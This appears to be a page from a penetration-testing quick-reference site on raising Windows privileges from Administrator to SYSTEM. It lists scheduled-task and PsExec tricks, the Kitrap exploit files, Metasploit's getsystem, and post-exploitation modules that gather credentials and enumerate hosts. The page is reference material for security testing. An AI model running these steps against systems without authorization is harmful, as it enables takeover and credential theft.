> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/escalate-to-system-from-administrator.md).

# Escalate to SYSTEM from Administrator

#### On Windows XP and Older <a href="#on-windows-xp-and-older" id="on-windows-xp-and-older"></a>

If you have a GUI with a user that is included in Administrators group you first need to open up `cmd.exe` for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do `Run as Administrator` you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from `c:\windows\system32\cmd.exe`. This will give you a cmd with Administrators rights.

From here we want to become SYSTEM user. To do this we run:

First we check what time it is on the local machine:

```
time

# Now we set the time we want the system CMD to start. Probably one minuter after the time.
at 01:23 /interactive cmd.exe
```

And then the cmd with SYSTEM privs pops up.

#### Vista and Newer <a href="#vista-and-newer" id="vista-and-newer"></a>

You first need to upload PsExec.exe and then you run:

```
psexec -i -s cmd.exe
```

#### Kitrap <a href="#kitrap" id="kitrap"></a>

On some machines the `at 20:20` trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute `vdmaillowed.exe`. I think it only works with GUI.

```
vdmallowed.exe
vdmexploit.dll
```

#### Using Metasploit <a href="#using-metasploit" id="using-metasploit"></a>

So if you have a metasploit meterpreter session going you can run `getsystem`.

### Post modules <a href="#post-modules" id="post-modules"></a>

Some interesting metasploit post-modules

First you need to background the meterpreter shell and then you just run the post modules.\
You can also try some different post modules.

```
use exploit/windows/local/service_permissions

post/windows/gather/credentials/gpp

run post/windows/gather/credential_collector 

run post/multi/recon/local_exploit_suggester

run post/windows/gather/enum_shares

run post/windows/gather/enum_snmp

run post/windows/gather/enum_applications

run post/windows/gather/enum_logged_on_users

run post/windows/gather/checkvm
```